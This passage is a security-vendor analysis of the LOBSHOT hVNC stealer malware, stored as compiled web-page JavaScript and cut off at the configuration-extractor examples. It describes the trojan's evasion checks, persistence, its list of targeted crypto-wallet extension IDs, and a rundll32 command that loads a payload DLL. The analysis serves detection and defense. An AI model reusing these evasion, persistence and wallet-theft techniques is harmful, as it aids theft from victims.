kncchdigobghenbbaddojjnnaogfppfj |\n| Wombat | amkmjjmmflddogmhpjloimipbofnfjih |\n| Oxygen | fhilaheimglignddkjgofkcbgekhenbh |\n| MyEtherWallet | nlbmnnijcnlegkjjpcfjclmcfggfefdm |\n| GuildWallet | nanjmdknhkinifnkgdcggcfnhdaammmj |\n| Saturn Wallet | nkddgncdjgjfcddamfgcmfnlhccnimig |\n| Ronin Wallet | fnjhmkhhmkbjkkabndcnnogagogbneec |\n| Station Wallet | aiifbnbfobpmeekipheeijimdpnlpgpp |\n| Harmony | fnnegphlobjdpkhecapkijjdkgcjhkib |\n| Coin98 Wallet | aeachknmefphepccionboohckonoeemg |\n| EVER Wallet | cgeeodpfagjceefieflmdfphplkenlfk |\n| KardiaChain Wallet | pdadjkfkgcafgbceimcpbkalnfnepbnk |\n| Phantom | bfnaelmomeimhlpmgjnjophhpkkoljpa |\n| Pali Wallet | mgffkfbidihjpoaomajlbgchddlicgpn |\n| BOLT X | aodkkagnadcbobfpggfnjeongemjbjca |\n| Liquality Wallet | kpfopkelmapcoipemfendmdcghnegimn |\n| XDEFI Wallet | hmeobnfnfcmdkdcmlblgagmfpfboieaf |\n| Nami | lpfcbjknijpeeillifnkikgncikgfhdo |\n| MultiversX DeFi Wallet | dngmlblcodfobpdpecaadgfbcggfjfnm |\n\n### Edge wallet extensions\n\n| Wallet name | Extension ID |\n| -------------- | -------------------------------- |\n| Yoroi | akoiaibnepcedcplijmiamnaigbepmcb |\n| MetaMask | ejbalbakoplchlghecdalmeeeajnimhm |\n| Math Wallet | dfeccadlilpndjjohbjdblepmjeahlmm |\n| Ronin Wallet | kjmoohlgokccodicjjfebfomlbljgfhk |\n| Station Wallet | ajkhoeiiokighlmdnlakpjfoobnjinie |\n| BDLT Wallet | fplfipmamcjaknpgnipjeaeeidnjooao |\n| Glow | niihfokdlimbddhfmngnplgfcgpmlido |\n| OneKey | obffkkagpmohennipjokmpllocnlndac |\n| MetaWallet | kfocnlddfahihoalinnfbnfmopjokmhl |\n\n### Firefox wallet extensions\n\n| Wallet name | Extension ID |\n| ------------ | -------------------------------------------- |\n| Yoroi | \\{530f7c6c-6077-4703-8f71-cb368c663e35\\}.xpi |\n| Ronin Wallet | ronin-wallet@axieinfinity.com.xpi |\n| MetaMask | webextension@metamask.io.xpi |\n| TronLink | \\{5799d9b6-8343-4c26-9ab6-5d2ad39884ce\\}.xpi |\n| | \\{aa812bee-9e92-48ba-9570-5faf0cfe2578\\}.xpi |\n| | \\{59ea5f29-6ea9-40b5-83cd-937249b001e1\\}.xpi |\n| | \\{d8ddfc2a-97d9-4c60-8b53-5edd299b6674\\}.xpi |\n| Phantom | \\{7c42eea1-b3e4-4be4-a56f-82a5852b12dc\\}.xpi |\n| | \\{b3e96b5f-b5bf-8b48-846b-52f430365e80\\}.xpi |\n| | \\{eb1fb57b-ca3d-4624-a841-728fdb28455f\\}.xpi |\n| | \\{76596e30-ecdb-477a-91fd-c08f2018df1a\\}.xpi |\n","code":"var Component=(()=\u003e{var h=Object.create;var a=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var u=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),w=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,l)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of p(e))!f.call(t,r)\u0026\u0026r!==n\u0026\u0026a(t,r,{get:()=\u003ee[r],enumerable:!(l=m(e,r))||l.enumerable});return t};var b=(t,e,n)=\u003e(n=t!=null?h(g(t)):{},s(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(a({},\"__esModule\",{value:!0}),t);var d=u((O,o)=\u003e{o.exports=_jsx_runtime});var x={};w(x,{default:()=\u003ej,frontmatter:()=\u003ek});var i=b(d()),k={title:\"Elastic Security Labs discovers the LOBSHOT malware\",slug:\"elastic-security-labs-discovers-lobshot-malware\",date:\"2023-05-16\",subtitle:\"An analysis of LOBSHOT, an hVNC malware family spreading through Google Ads.\",description:\"Elastic Security Labs is naming a new malware family, LOBSHOT. LOBSHOT propagates and infiltrates targeted networks through Google Ads and hVNC sessions to deploy backdoors masquerading as legitimate application installers.\",author:[{slug:\"daniel-stepanic\"}],image:\"photo-edited-08@2x.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"lobshot\",\"ref5873\"]};function c(t){let e=Object.assign({h2:\"h2\",ul:\"ul\",li:\"li\",p:\"p\",img:\"img\",a:\"a\",code:\"code\",strong:\"strong\",h3:\"h3\",blockquote:\"blockquote\",h4:\"h4\",pre:\"pre\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},t.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Adversaries continue to abuse and increase reach through malvertising such as Google Ads by impersonating legitimate software\"}),`\n`,(0,i.jsx)(e.li,{children:\"Elastic Security Labs is shedding light on an undiscovered hVNC malware that has been quietly collecting a large install base\"}),`\n`,(0,i.jsx)(e.li,{children:\"This malware we are calling LOBSHOT appears to be leveraged for financial purposes employing banking trojan and info-stealing capabilities\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security Labs along with the research community noticed a large spike in the adoption of malvertising earlier this year. Attackers promoted their malware using an elaborate scheme of fake websites through Google Ads and embedding backdoors in what appears to users as legitimate installers. In this post, we will highlight one malware family we observed from this spike we\\u2019re calling LOBSHOT. LOBSHOT continues to collect victims while staying under the radar.\"}),`\n`,(0,i.jsx)(e.p,{children:\"One of LOBSHOT\\u2019s core capabilities is around its hVNC (Hidden Virtual Network Computing) component. These kinds of modules allow for direct and unobserved access to the machine. This feature continues to be successful in bypassing fraud detection systems and is often baked into many popular families as plugins.\"}),`\n`,(0,i.jsx)(e.p,{children:\"We will walk through the LOBSHOT infection chain and its behaviors. Additionally, we will provide a YARA signature and configuration extractor for this family.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image9.png\",alt:\"LOBSHOT infection chain\",width:\"1440\",height:\"783\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Throughout our analysis, we observed infrastructure known to belong to \",(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/actor/ta505\",rel:\"nofollow\",children:\"TA505\"}),\". TA505 is a well-known cybercrime group associated with Dridex, Locky, and Necurs campaigns. A loader documented by Proofpoint, known as \",(0,i.jsx)(e.a,{href:\"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader\",rel:\"nofollow\",children:\"Get2\"}),\", has also been tied to the same domains in the past that we observed with LOBSHOT. We assess with moderate confidence that LOBSHOT is a new malware capability leveraged by TA505 starting in 2022.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"campaign-context\",children:\"Campaign context\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Earlier this year, Elastic Security Labs observed multiple infections with an interesting chain of events that resulted in the execution of an unknown hVNC malware, which we are calling LOBSHOT. Around this same time, similar infection chains were observed in the security community with commonalities of users searching for legitimate software downloads that ended up getting served illegitimate software from promoted ads from Google [\",(0,i.jsx)(e.a,{href:\"https://www.spamhaus.com/resource-center/a-surge-of-malvertising-across-google-ads-is-distributing-dangerous-malware/\",rel:\"nofollow\",children:\"1\"}),\", \",(0,i.jsx)(e.a,{href:\"https://twitter.com/1ZRR4H/status/1617661947851464704?s=20\",rel:\"nofollow\",children:\"2\"}),\", \",(0,i.jsx)(e.a,{href:\"https://twitter.com/Malwar3Ninja/status/1617423187415044099?s=20\",rel:\"nofollow\",children:\"3\"}),\", \",(0,i.jsx)(e.a,{href:\"https://twitter.com/malwrhunterteam/status/1617605240316129280?s=20\",rel:\"nofollow\",children:\"4\"}),\"].\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"In one example, the malicious ad was for a legitimate remote desktop solution, AnyDesk. Careful examination of the URL goes to \",(0,i.jsx)(e.code,{children:\"https://www.amydecke[.]website\"}),\" instead of the legitimate AnyDesk URL, \",(0,i.jsx)(e.code,{children:\"https://www.anydesk[.]com\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image22.jpg\",alt:\"Malicious Google Ad\",width:\"705\",height:\"129\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The landing pages were very convincing with similar branding as the legitimate software and included Download Now buttons that pointed to an MSI installer.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image13.jpg\",alt:\"Fake AnyDesk landing page for installer\",width:\"917\",height:\"631\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Thanks to security researcher \",(0,i.jsx)(e.a,{href:\"https://twitter.com/wdormann\",rel:\"nofollow\",children:\"Will Dormann\"}),\", we were able to \",(0,i.jsx)(e.a,{href:\"https://twitter.com/wdormann/status/1617612216945250304?s=20\",rel:\"nofollow\",children:\"view\"}),\" the screenshots from the AnyDesk campaign.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image15.jpg\",alt:\"Tweet referencing AnyDesk infection chain\",width:\"606\",height:\"562\"})}),`\n`,(0,i.jsx)(e.p,{children:\"At the time of publication, we haven\\u2019t seen any previous public information about LOBSHOT, so we will focus our research on LOBSHOT\\u2019s functionality and capabilities.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"lobshot-code-analysis\",children:\"LOBSHOT code analysis\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"To focus on the LOBSHOT malware, we will skip the initial infection chain. For these initial details, here is a good \",(0,i.jsx)(e.a,{href:\"https://www.joesandbox.com/analysis/787624/0/html\",rel:\"nofollow\",children:\"sandbox\"}),\" report to look over for general TTPs. We have observed over 500 unique LOBSHOT samples since last July. The samples we have observed are compiled as 32-bit DLLs or 32-bit executables typically ranging around \",(0,i.jsx)(e.strong,{children:\"93\"}),\" KB to \",(0,i.jsx)(e.strong,{children:\"124\"}),\" KB. Consider the following \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/e4ea88887753a936eaf3361dcc00380b88b0c210dcbde24f8f7ce27991856bf6\",rel:\"nofollow\",children:\"sample\"}),\" representative of LOBSHOT for purposes of this analysis.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"dynamic-api-resolution\",children:\"Dynamic API resolution\"}),`\n`,(0,i.jsx)(e.p,{children:\"In our LOBSHOT sample, like most malware we see today, it employs dynamic import resolution to evade security products and slow down the rapid identification of its capabilities. This process involves resolving the names of the Windows APIs that the malware needs at runtime as opposed to placing the imports into the program ahead of time.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image10.jpg\",alt:\"Resolving Windows Registry APIs through LoadLibraryA/GetProcessAddress\",width:\"602\",height:\"212\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"defender-emulation-check\",children:\"Defender emulation check\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"After the initial libraries are loaded, LOBSHOT performs a Windows Defender anti-emulation check by verifying if the computer name matches the string \",(0,i.jsx)(e.strong,{children:\"HAL9TH\"}),\" and if the username matches \",(0,i.jsx)(e.strong,{children:\"JohnDoe\"}),\". These are hard-coded values within the emulation layer of Defender, if they are present, the malware immediately stops running. This kind of verification has been incorporated in many other stealers including Arkei, Vidar, and Oski. Below is the emulation output using the \",(0,i.jsx)(e.a,{href:\"https://github.com/qilingframework/qiling\",rel:\"nofollow\",children:\"Qiling\"}),\" framework highlighting these verification checks.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image30.jpg\",alt:\"Defender checks via Qiling\",width:\"716\",height:\"109\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"string-obfuscation\",children:\"String obfuscation\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"This malware hides its primary strings through a straightforward encryption function using different bitwise operators. To perform the string decryption, LOBSHOT uses an initial seed from the \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/desktop/api/wtsapi32/ns-wtsapi32-wts_session_infoa\",rel:\"nofollow\",children:\"WTS_SESSION_INFO\"}),\" structure from a call to \",(0,i.jsx)(e.strong,{children:\"WTSEnumerateSessionsA.\"})]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image29.jpg\",alt:\"LOBSHOT calling WTSEnumerateSessionsA\",width:\"718\",height:\"118\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"In this case, the malware developer sets up the initial seed by performing an XOR on the \",(0,i.jsx)(e.strong,{children:\"SessionID\"}),\" (always a \",(0,i.jsx)(e.strong,{children:\"0\"}),\" ) and the \",(0,i.jsx)(e.strong,{children:\"S\"}),\" char from \\u201CServices\\u201D.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image4.jpg\",alt:\"WTS_SESSION_INFO structure used as the initial seed for string decryption\",width:\"462\",height:\"96\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"initial-enumeration\",children:\"Initial enumeration\"}),`\n`,(0,i.jsx)(e.p,{children:\"Before sending any outbound network requests, LOBSHOT builds a custom structure containing enumerated data from the machine including:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"GUID of machine derived from \",(0,i.jsx)(e.strong,{children:\"SOFTWARE\\\\Microsoft\\\\Cryptography\\\\MachineGuid\"})]}),`\n`,(0,i.jsx)(e.li,{children:\"Windows edition, username, computer name\"}),`\n`,(0,i.jsx)(e.li,{children:\"A VM check, number of processes running, process ID, parent process of malware\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"Windows desktop object details\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Screen height/width\"}),`\n`,(0,i.jsx)(e.li,{children:\"Display device information\"}),`\n`,(0,i.jsx)(e.li,{children:\"Handles to the desktop objects and windows\"}),`\n`,(0,i.jsx)(e.li,{children:\"DPI for the display(s)\"}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image12.jpg\",alt:\"Malware retrieving Windows desktop object information\",width:\"795\",height:\"317\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"execution-flow\",children:\"Execution flow\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"After LOBSHOT is executed, it moves a copy of itself to the \",(0,i.jsx)(e.strong,{children:\"C:\\\\ProgramData\"}),\" folder, spawning a new process using \",(0,i.jsx)(e.strong,{children:\"explorer.exe\"}),\" , terminating the original process, and finally deleting the original file. This design choice is used in an attempt to break the process tree ancestry; making it harder to spot for analysts.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image5.jpg\",alt:\"The LOBSHOT process tree as observed with Elastic Defend\",width:\"979\",height:\"488\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Below is a screenshot after the initial execution, the malware is now parentless and running from the \",(0,i.jsx)(e.strong,{children:\"C:\\\\ProgramData\"}),\" directory.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image25.jpg\",alt:\" LOBSHOT running without a parent process\",width:\"402\",height:\"47\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"persistence\",children:\"Persistence\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"For persistence, LOBSHOT leverages the \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1547/001/\",rel:\"nofollow\",children:\"Registry run key persistence method\"}),\". In our sample, this is placed in the \",(0,i.jsx)(e.strong,{children:\"HKEY_CURRENT_USER\"}),\" Registry hive with a randomly generated name pointing to the malware located in \",(0,i.jsx)(e.strong,{children:\"C:\\\\ProgramData.\"})]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image18.jpg\",alt:\"Registry key persistence\",width:\"785\",height:\"168\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"In addition, it sets Registry key data under the \",(0,i.jsx)(e.strong,{children:\"Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Devices\"}),\" key path which is used to check for a hardcoded global identifier key that would indicate the system had already been infected. In our sample, the \",(0,i.jsx)(e.strong,{children:\"Display\"}),\" value is set to the string \",(0,i.jsx)(e.strong,{children:\"134a1160\"}),\". The results from the stealer feature are recorded inside the \",(0,i.jsx)(e.strong,{children:\"Default Printer\"}),\" value. We'll discuss the stealer functionality in the next section.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image16.jpg\",alt:\"Registry hive used to store data\",width:\"932\",height:\"278\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"stealer-functionality\",children:\"Stealer functionality\"}),`\n`,(0,i.jsx)(e.p,{children:\"With the persistence mechanism established, LOBSHOT starts a new thread kicking off the stealer functionality. It starts by targeting specific Google Chrome extensions that deal with cryptocurrency wallets. Below are Procmon outputs showing LOBSHOT trying to access 32 Chrome wallet extensions, nine Edge wallet extensions, and 11 Firefox wallet extensions.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image14.jpg\",alt:\"Chrome extensions related to cryptocurrency wallets\",width:\"1175\",height:\"252\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image3.jpg\",alt:\"Edge extensions related to cryptocurrency wallets\",width:\"1133\",height:\"310\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image2.jpg\",alt:\"Firefox extensions related to cryptocurrency wallets\",width:\"1385\",height:\"247\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"For the complete listing of the different cryptocurrencies mapped to their extension IDs, see the \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/elastic-security-labs-discovers-lobshot-malware#appendix\",rel:\"nofollow\",children:\"appendix\"}),\".\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"If there is a match with any of these extensions, the results are inserted in the \",(0,i.jsx)(e.strong,{children:\"Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Devices\"}),\" Registry key value as binary data with the format of browser name_extension name. Below is an example after the registry modification showing: \",(0,i.jsx)(e.strong,{children:\"Chrome_Yoroi\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image7.jpg\",alt:\"Stealer component writing found wallet to registry\",width:\"604\",height:\"328\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"After the browser extensions are enumerated, there is a check for a hardcoded file titled \",(0,i.jsx)(e.strong,{children:\"hmr_*.dat\"}),\" inside the \",(0,i.jsx)(e.strong,{children:\"C:\\\\ProgramData\"}),\" directory. If this file exists it will be executed with \",(0,i.jsx)(e.strong,{children:\"rundll32.exe\"}),\" with the following command-line arguments:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:'rundll32.exe \"C:\\\\ProgramData\\\\hmr_1.dat\", #1 hmod'})}),`\n`,(0,i.jsx)(e.p,{children:\"While we didn\\u2019t observe this behavior directly, this function appears to show off a feature baked in by the developer allowing the ability for additional execution options such as loading their own DLL.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"network-communications\",children:\"Network communications\"}),`\n`,(0,i.jsx)(e.p,{children:\"For each LOBSHOT sample we have reviewed, there is a hardcoded IP and port that is decrypted from the binary that is used as the primary C2. The malware beacons every 5 seconds communicating by using the following calls:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.strong,{children:\"ws2_32.socket\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.strong,{children:\"ws2_32.connect\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.strong,{children:\"ws2_32.send\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.strong,{children:\"ws2_32.select\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.strong,{children:\"ws2_32.recv\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.strong,{children:\"ws2_32.shutdown\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.strong,{children:\"ws2_32.closesocket\"})}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"On these outbound requests, it sends pseudorandom hard-coded data along with a shortened GUID value and version number of the module.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image20.jpg\",alt:\"Hardcoded values and version in request\",width:\"454\",height:\"139\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Below is an example of the send request buffer sent during the initial outbound requests showing the above-hardcoded values and version number.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image27.jpg\",alt:\"Request buffer on outbound network traffic\",width:\"523\",height:\"50\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image19.jpg\",alt:\"Hardcoded values within outbound network traffic request\",width:\"599\",height:\"206\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Searching for the above \",(0,i.jsx)(e.strong,{children:\"mov\"}),\" instruction paired with the first \",(0,i.jsx)(e.strong,{children:\"DWORD\"}),\" of the hardcoded value ( \",(0,i.jsx)(e.strong,{children:\"C7 06 25 56 0A DC\"}),\" ) shows over \",(0,i.jsx)(e.strong,{children:\"550\"}),\" samples in VirusTotal within the last year. With some of the first samples showing up in late July 2022. The prevalence of these hardcoded values shows that it has been actively used and under development for a long period of time, and will likely continue to be used in the future.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image26.jpg\",alt:\"VirusTotal VTGrep search on hardcoded bytes\",width:\"1440\",height:\"471\"})}),`\n`,(0,i.jsx)(e.p,{children:\"After this initial handshake, LOBSHOT will send the previous custom data structure containing the enumerated data such as the hostname, username, windows objects, etc. over this port.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image17.jpg\",alt:\"The Wireshark output of outbound requests containing victim host information\",width:\"868\",height:\"549\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"capabilities\",children:\"Capabilities\"}),`\n`,(0,i.jsx)(e.p,{children:\"One of LOBSHOT\\u2019s core capabilities is around its hVNC (Hidden Virtual Network Computing) module.\"}),`\n`,(0,i.jsxs)(e.blockquote,{children:[`\n`,(0,i.jsxs)(e.p,{children:[\"Unlike traditional VNC (Virtual Network Computing) where the software provides remote access to a machine with the user\\u2019s consent and the visibility of the actions taken on the machine can be clearly observed. hVNC acts in the opposite way designed to stay stealthy where all actions by an attacker are taking place on the same machine, but can\\u2019t be visibly observed by the victim. hVNC became a popular solution within the banking trojan space to bypass device and fraud detection solutions. More details on hVNC can be found \",(0,i.jsx)(e.a,{href:\"https://deepsec.net/docs/Slides/2017/Who_Hid_My_Desktop_Or_Safran_Pavel_Asinovsky.pdf\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"LOBSHOT implements the hVNC feature by generating a hidden desktop using the \",(0,i.jsx)(e.strong,{children:\"CreateDesktopW\"}),\" Windows API and then assigning the desktop to the malware using the \",(0,i.jsx)(e.strong,{children:\"SetThreadDesktop\"}),\" API \",(0,i.jsx)(e.strong,{children:\".\"}),\" A new Windows \",(0,i.jsx)(e.strong,{children:\"explorer.exe\"}),\" process is then created under the context of the new hidden desktop.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image21.jpg\",alt:\"LOBSHOT\\u2019s hidden desktop creation\",width:\"876\",height:\"462\"})}),`\n`,(0,i.jsx)(e.p,{children:\"At this stage, the victim machine will start sending screen captures that represent the hidden desktop that is sent to a listening client controlled by the attacker. The attacker interacts with the client by controlling the keyboard, clicking buttons, and moving the mouse, these capabilities provide the attacker full remote control of the device.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Within LOBSHOT\\u2019s hVNC module, there is a built-in GUI menu that allows the attacker to run the following commands quickly:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Start new \",(0,i.jsx)(e.strong,{children:\"explorer.exe\"}),\" process\"]}),`\n`,(0,i.jsx)(e.li,{children:\"Start Windows Run command\"}),`\n`,(0,i.jsx)(e.li,{children:\"Start new Windows process with provided command\"}),`\n`,(0,i.jsx)(e.li,{children:\"Start Browsers (Internet Explorer, Edge, Firefox)\"}),`\n`,(0,i.jsx)(e.li,{children:\"Terminate existing explorer.exe processes and start new explorer.exe process\"}),`\n`,(0,i.jsx)(e.li,{children:\"Tamper with Windows sound settings\"}),`\n`,(0,i.jsx)(e.li,{children:\"Set/retrieve Clipboard text\"}),`\n`,(0,i.jsx)(e.li,{children:\"Activate Start Menu\"}),`\n`,(0,i.jsx)(e.li,{children:\"Modify DPI Awareness settings\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image8.jpg\",alt:\"Execute the run dialog inside the hVNC module\",width:\"852\",height:\"195\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image11.jpg\",alt:\"Clipboard grabber inside the hVNC module\",width:\"670\",height:\"155\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image6.jpg\",alt:\"CMD execution inside the hVNC module\",width:\"765\",height:\"167\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"While the main functionality is centered on LOBSHOT\\u2019s hVNC module, it does have additional capabilities. One example is its ability to swap out its C2 provided by an operator; it manages this by writing the new C2 details into the registry key path \",(0,i.jsx)(e.strong,{children:\"Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Devices\"}),\" under the \",(0,i.jsx)(e.strong,{children:\"Video\"}),\" value.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image24.jpg\",alt:\"Updating C2 through registry modification\",width:\"910\",height:\"294\"})}),`\n`,(0,i.jsx)(e.p,{children:\"LOBSHOT also includes an update mechanism where it will remove previous modifications to the registry such as removing the \\u201CDisplay\\u201D value and Run key persistence, starting a new process, and finally exiting the existing process.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image28.jpg\",alt:\"Remove existing registry key\",width:\"875\",height:\"167\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image1.jpg\",alt:\"Spawn new LOBSHOT process\",width:\"765\",height:\"260\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"lobshot-configuration-extractor\",children:\"LOBSHOT configuration extractor\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic Security Labs has released an open source tool, under the Elastic 2.0 license, that will allow for configurations to be extracted from LOBSHOT samples. The tool can be downloaded \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/extractors/lobshot\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-discovers-lobshot-malware/image23.jpg\",alt:\"\",width:\"923\",height:\"624\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The extractor can run at the individual file or directory level, examples are below:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.strong,{children:\"python lobshot_config_extractor.py --file sample.bin\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.strong,{children:\"python lobshot_config_extractor.py --directory 